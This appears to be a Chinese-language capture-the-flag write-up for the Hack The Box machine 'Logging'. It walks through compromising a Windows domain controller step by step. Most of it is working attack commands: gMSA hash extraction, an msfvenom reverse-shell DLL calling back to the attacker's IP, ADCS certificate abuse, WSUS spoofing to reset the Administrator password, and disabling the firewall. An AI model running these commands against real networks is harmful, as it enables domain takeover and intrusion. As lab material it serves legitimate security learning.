目标信息

IP地址：10.129.209.152（非固定IP地址）

题目凭据：wallace.everette / Welcome2026@

信息收集

ICMP检测

PING 10.129.209.152 (10.129.209.152) 56(84) bytes of data.
64 bytes from 10.129.209.152: icmp_seq=1 ttl=127 time=145 ms
64 bytes from 10.129.209.152: icmp_seq=2 ttl=127 time=143 ms
64 bytes from 10.129.209.152: icmp_seq=3 ttl=127 time=143 ms
64 bytes from 10.129.209.152: icmp_seq=4 ttl=127 time=143 ms

--- 10.129.209.152 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3000ms
rtt min/avg/max/mdev = 143.050/143.668/145.067/0.813 ms

攻击机和靶机间网络连接状态良好。

防火墙检测

# Nmap 7.99 scan initiated Sun Apr 19 08:35:06 2026 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.209.152
Warning: 10.129.209.152 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.209.152
Host is up (0.17s latency).
All 65535 scanned ports on 10.129.209.152 are in ignored states.
Not shown: 65535 closed tcp ports (reset)

# Nmap done at Sun Apr 19 08:35:49 2026 -- 1 IP address (1 host up) scanned in 42.67 seconds

无法探测靶机防火墙状态。

网络端口扫描

TCP端口扫描结果

# Nmap 7.99 scan initiated Sun Apr 19 08:38:23 2026 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.209.152
Warning: 10.129.209.152 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.209.152
Host is up (0.20s latency).
Not shown: 64116 closed tcp ports (conn-refused), 1389 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-19 07:39:39Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-19T07:41:12+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-19T07:41:12+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-19T07:41:12+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-19T07:41:12+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8530/tcp  open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title.
8531/tcp  open  ssl/unknown
|_ssl-date: 2026-04-19T07:41:12+00:00; +7h00m00s from scanner time.
| tls-alpn: 
|   h2
|_  http/1.1
| ssl-cert: Subject: commonName=DC01.logging.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.logging.htb
| Not valid before: 2026-04-16T15:12:07
|_Not valid after:  2027-04-16T15:12:07
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
49686/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49687/tcp open  msrpc         Microsoft Windows RPC
49688/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  msrpc         Microsoft Windows RPC
49710/tcp open  msrpc         Microsoft Windows RPC
49720/tcp open  msrpc         Microsoft Windows RPC
49745/tcp open  msrpc         Microsoft Windows RPC
49775/tcp open  msrpc         Microsoft Windows RPC
Device type: general purpose
Running: Microsoft Windows 2019
OS CPE: cpe:/o:microsoft:windows_server_2019
OS details: Microsoft Windows Server 2019
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-04-19T07:41:01
|_  start_date: N/A

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   217.55 ms 10.10.16.1
2   176.87 ms 10.129.209.152

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr 19 08:41:15 2026 -- 1 IP address (1 host up) scanned in 172.52 seconds

UDP端口开放列表扫描结果

# Nmap 7.99 scan initiated Sun Apr 19 08:43:58 2026 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.209.152
Warning: 10.129.209.152 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.209.152
Host is up (0.30s latency).
Not shown: 65362 open|filtered udp ports (no-response), 169 closed udp ports (port-unreach)
PORT    STATE SERVICE
53/udp  open  domain
88/udp  open  kerberos-sec
123/udp open  ntp
389/udp open  ldap

# Nmap done at Sun Apr 19 15:46:53 2026 -- 1 IP address (1 host up) scanned in 25375.25 seconds

UDP端口详细信息扫描结果

（无）

同时发现，靶机运行Windows Server操作系统，开放了80,8530/http和8531/https三个服务，且为域控制器，主域名为logging.htb，域控主机名为dc01。

服务探测

DNS服务（53端口）

尝试使用dig工具查询域控内主要记录：

dig any logging.htb @dc01.logging.htb

未发现敏感信息。

SMB服务（445端口）

使用题目提供的凭据登录SMB服务：

impacket-smbclient logging.htb/wallace.everette:"Welcome2026@"@dc01.logging.htb

登录成功！发现存在用户共享Logs和WSUSTemp，对上述两个共享进行信息收集。

首先尝试收集Logs共享，发现共享内存在4个日志文件：

use Logs
ls

逐个查看日志文件，在IdentitySync_Trace_20260219.log中发现了一些敏感信息：

[2026-02-09 03:00:01.442] [PID:4102] [Thread:12] INFO  - Service: logging.IdentitySync.Engine.Internal (v2.4.2.0)
[2026-02-09 03:00:01.458] [PID:4102] [Thread:12] DEBUG - Environment: OS=Microsoft Windows Server 2019, CoreCount=4, Mem=16GB
[2026-02-09 03:00:01.470] [PID:4102] [Thread:12] INFO  - Initializing module [HR-Connector]...
[2026-02-09 03:00:02.215] [PID:4102] [Thread:12] INFO  - Establishing SQL session with HR01.logging.htb...
[2026-02-09 03:00:02.890] [PID:4102] [Thread:08] TRACE - Querying [loggingHR].[dbo].[Employees] where SyncStatus = 0
......
[2026-02-09 03:00:03.110] [PID:4102] [Thread:04] TRACE - Initializing LdapConnection object...
[2026-02-09 03:00:03.125] [PID:4102] [Thread:04] VERBOSE - ConnectionContext Dump: { Domain: "logging.htb", Server: "DC01", SSL: "False", BindUser: "LOGGINGsvc_recovery", BindPass: "Em3rg3ncyPa$2025", Timeout: 30 }
......
[2026-02-19 03:00:03.510] [PID:4102] [Thread:12] WARN  - Connectivity failed for loggingsvc_recovery. Checking alternate Domain Controller...
[2026-02-09 03:00:03.650] [PID:4102] [Thread:12] CRITICAL - Domain-wide LDAP bind failure. Task aborted.
[2026-02-10 03:00:03.702] [PID:4102] [Thread:12] DEBUG - Generating SMTP alert for it-alerts@logging.htb
......

日志文件中存在一对用户凭据和一个电子邮箱，且内网中貌似还存在名为HR01的服务器，并部署了数据库，有应用程序成功连接并查询出数据。

但通过dig工具可发现HR01子域名并不存在：

尝试切换到WSUSTemp共享，但提示拒绝访问：

除此之外，未发现其它信息。

Active Directory服务

域内RID爆破

首先使用impacket-lookupsid工具爆破域内用户RID：

impacket-lookupsid logging.htb/wallace.everette:"Welcome2026@"@dc01.logging.htb -domain-sids 40000

成功发现如下用户：

Administrator   Guest   krbtgt  DC01$   svc_recovery    jaylee.clifton
monique.chip    kyson.abel  fable.milford   wellington.kylan
serina.philander    wallace.everette    toby.brynleigh  msa_health$

域内关系枚举

尝试使用bloodhound-python工具登录LDAP，枚举域内关系：

bloodhound-python -d logging.htb -u wallace.everette -p "Welcome2026@" -k -ns 10.129.209.173 -c All --zip

收集完毕后将数据集压缩包上传BloodHound，列出最短攻击路径：

发现toby.brynleigh用户为域管理员，但当前用户wallace.everette不在最短攻击路径上。

尝试搜索svc_recovery用户，查看其可控对象，发现该用户对机器账户msa_health具有GenericWrite权限：

而msa_health可以使用WinRM远程管理：

除此之外，未发现任何可利用路径。

Web应用程序（80端口）

打开主页：http://dc01.logging.htb/

发现为默认页面，尝试扫描目录，但未发现任何信息。

渗透测试

猜解域内用户凭据

在SMB服务探测阶段，我们已经发现了日志文件中的凭据，现在尝试使用该凭据连接：

但提示预认证失败，思索片刻，尝试将密码中的2025改为2026：

域：logging.htb
用户名：svc_recovery
密码：Em3rg3ncyPa$$2026

crackmapexec smb dc01.logging.htb -d logging.htb -u svc_recovery -p 'Em3rg3ncyPa$2026' -k

读取组托管账户凭据

成功获取svc_recovery用户凭据后，考虑到之前域关系枚举过程中发现该用户对msa_health$用户拥有GenericWrite权限，决定首先使用bloodyAD工具，探查当前用户可修改的具体对象属性：

bloodyAD -d logging.htb -u svc_recovery -p 'Em3rg3ncyPa$2026' -k --host dc01.logging.htb get writable --detail

发现svc_recovery用户可修改msa_health$用户的msDS-GroupMSAMemberShip属性，由此确定msa_health$用户为组托管账户，决定将该属性修改为当前用户DN，随后利用netexec工具读取gMSA凭据。首先利用bloodyAD修改属性（需从GitHub下载最新bloodyAD使用）：

~/.local/bin/bloodyad -d logging.htb -u svc_recovery -p 'Em3rg3ncyPa$2026' -k --host dc01.logging.htb set object "CN=msa_health,CN=Managed Service Accounts,DC=logging,DC=htb" msDS-GroupMSAMembership -v 'O:S-1-5-32-544D:(A;;0xf01ff;;;S-1-5-21-4020823815-2796529489-1682170552-2104)'

随后利用netexec工具读取gMSA凭据：

netexec ldap dc01.logging.htb -d logging.htb -u svc_recovery -p 'Em3rg3ncyPa$2026' -k --gmsa

成功获取域用户凭据：

域：logging.htb
用户名：msa_health$
NTLM哈希：603fc24ee01a9409f83c9d1d701485c5

直接使用该账户凭据登录WinRM：

evil-winrm -i dc01.logging.htb -u 'msa_health$' -H "603fc24ee01a9409f83c9d1d701485c5"

登录成功！

定时程序DLL劫持攻击

ls -Force "C:/Program Files/UpdateMonitor"

判断UpdateMonitor.exe为站点管理员自行编写的.NET程序，直接通过evil-winrm内置的download命令将程序下载到本地，使用dotPeek工具反编译：

阅读反编译后的代码，发现该程序的功能为解压指定目录下的ZIP压缩包，并使用loadLibrary()方法加载解压出的settings_update.dll文件，最后调用DLL内的PreUpdateCheck()方法，其中压缩包加载路径为C:/ProgramData/UpdateMonitor/Settings_Update.zip。

尝试查看日志文件C:/ProgramData/UpdateMonitor/Logs/monitor.log：

cat C:/ProgramData/UpdateMonitor/Logs/monitor.log

发现日志文件中存在定期的历史执行记录，确定该程序为定时执行任务。

直接使用msfvenom生成反弹Shell的恶意DLL文件：

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.4 LPORT=443 -f dll -o settings_update.dll

并打开Metasploit监听：

msfconsole
use exploit/multi/handler
set payload windows/shell_reverse_tcp
set LHOST 10.10.16.4
set LPORT 443
set ExitOnSession false
run -jz

一切准备完毕后，上传Settings_Update.zip到压缩文件加载目录下，并稍加等待：

cd C:/ProgramData/UpdateMonitor/
upload Settings_Update.zip

成功获得反弹Shell！！

权限提升

目录信息收集

进入jaylee.clifton用户后，执行目录信息收集，在C:/Users/jaylee.clifton/Documents/Tickets/目录下发现了可疑文件Incident_4922_WSUS_Remediation_ViewExport.html，部分内容如下：

<div class="container">
    <div class="header">Support Incident View: #4922</div>

    <div class="meta-data">
        <span class="label">Assigned:</span> <span>jaylee.clifton [SR_SYSADMIN]</span>
        <span class="label">Status:</span> <span class="status">CLOSED - WORKAROUND APPLIED</span>
        <span class="label">Priority:</span> <span>Urgent (Compliance)</span>
    </div>

    <div class="entry">
        <span class="timestamp">2026-04-06 09:45</span> <strong>Internal Note:</strong><br>
        Machine is still choking on the standard catalog. BITS service is garbage and I'm not wasting another morning troubleshooting the local database. Since the "official" server migration is apparently taking forever, I've pointed this box to the staging endpoint at <strong>wsus.logging.htb</strong>.
    </div>

    <div class="entry">
        <span class="timestamp">2026-04-06 13:20</span> <strong>Internal Note:</strong><br>
        DNS is still not updated-standard for this department-so don't bother pinging it from outside the test subnet. I've set up a scheduled "ForceSync" task to deal with the inevitable lockups. 
    </div>

    <div class="entry" style="background-color: #fff9db;">
        <span class="timestamp">2026-04-06 16:10</span> <strong>Final Resolution:</strong><br>
        Task is running on a 120s loop. It nukes SoftwareDistribution and restarts the agent every cycle. It's a hack, but it works and it keeps the compliance auditors off my back. <strong>Do not touch the trigger settings.</strong> If the services don't come back up, that's your problem.
    </div>
</div>

该HTML文件中内容称，靶机中的高权限定时任务会向wsus.logging.htb主机的WSUS服务发送系统更新请求，时间间隔为2分钟。通过联网查询可知，Windows WSUS服务默认端口刚好为8530/http和8531/https：

而靶机域DNS中恰好也没有wsus.logging.htb记录，经分析研判，决定对该子域名进行劫持，使其指向攻击机，之后在本地8530/tcp和8531/tcp端口建立SimpleHTTPServer监听，确定WSUS更新请求使用的协议和端口后再进行进一步利用。

WSUS Spoofing攻击

在目录信息收集阶段，我们已经确定靶机存在定时的WSUS更新任务，且更新服务器指向不存在的子域名wsus.logging.htb，现在需要添加DNS记录使其指向攻击机，确定其使用的端口。

首先启动SimpleHTTPServer：

python -m http.server 8530
python -m http.server 8531

随后使用bloodyAD添加新的DNS记录：

bloodyAD -d logging.htb -u svc_recovery -p 'Em3rg3ncyPa$2026' -k --host dc01.logging.htb add dnsRecord wsus 10.10.16.4

等待一会儿后，8531端口成功收到请求，确定WSUS更新任务使用HTTPS协议：

联网搜索关于WSUS服务的利用方法，发现可以通过架设恶意WSUS服务器并下发包含利用程序的更新包达到命令执行的效果，称为WSUS Spoofing：WSUS spoofing | The Hacker Recipes

除此之外，还搜索到了可以对以HTTPS协议为基础的WSUS服务进行利用的工具：NeffIsBack/wsuks: Automating the MITM attack on WSUS

通过阅读工具文档，可知如果需要对HTTPS WSUS服务进行利用，必须利用ADCS ESC17漏洞获取Enrollee Supplies Subject类型的ADCS证书，在证书DNS处写入WSUS服务端域名并生成相应的SSL证书后才可以进一步利用。

首先，使用certipy-ad工具查找所有启用的证书模板：

certipy-ad find -u svc_recovery@logging.htb -p 'Em3rg3ncyPa$2026' -k -no-pass -enabled -dc-ip 10.129.14.93 -target dc01.logging.htb -ldap-scheme ldap -stdout

成功发现启用的证书模板UpdateSrv！该模板具有EnrolleeSuppliesSubject权限，且IT用户组具有请求权限。

直接上传Certify工具请求即可：GhostPack/Certify: Active Directory certificate abuse.

注：该工具可使用Visual Studio 2022编译，.NET版本必须为4.7.2。

./Certify.exe request --ca LOGGING.HTB\logging-DC01-CA --template UpdateSrv --dns wsus.logging.htb

将返回的Base64编码PFX证书解码保存，使用openssl工具将其转为PEM格式：

openssl pkcs12 -in wsus-logging-htb.pfx -out wsus-logging-htb_ssl.pem -nodes

成功生成SSL证书后，启动wsuks工具监听本地tun0网卡的8531接口，下发包含重置域管理员密码命令的恶意更新包：

~/.local/bin/wsuks --WSUS-Server 10.10.16.4 --WSUS-Port 8531 --tls-cert wsus-logging-htb_ssl.pem --serve-only -I tun0 -c "/accepteula /s powershell.exe "net user Administrator Asd310056"

成功下发恶意更新包！直接执行关闭防火墙与打开远程桌面的命令：

crackmapexec smb dc01.logging.htb -d logging.htb -u Administrator -p "Asd310056" -k -x "netsh advfirewall set allprofiles state off"
crackmapexec smb dc01.logging.htb -d logging.htb -u Administrator -p "Asd310056" -k -x "reg add "HKLMSystemCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f"
crackmapexec smb dc01.logging.htb -d logging.htb -u Administrator -p "Asd310056" -k -x "wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1"

最后使用Remmina连接：

提权成功！！！！

HTB靶机 Logging 渗透测试记录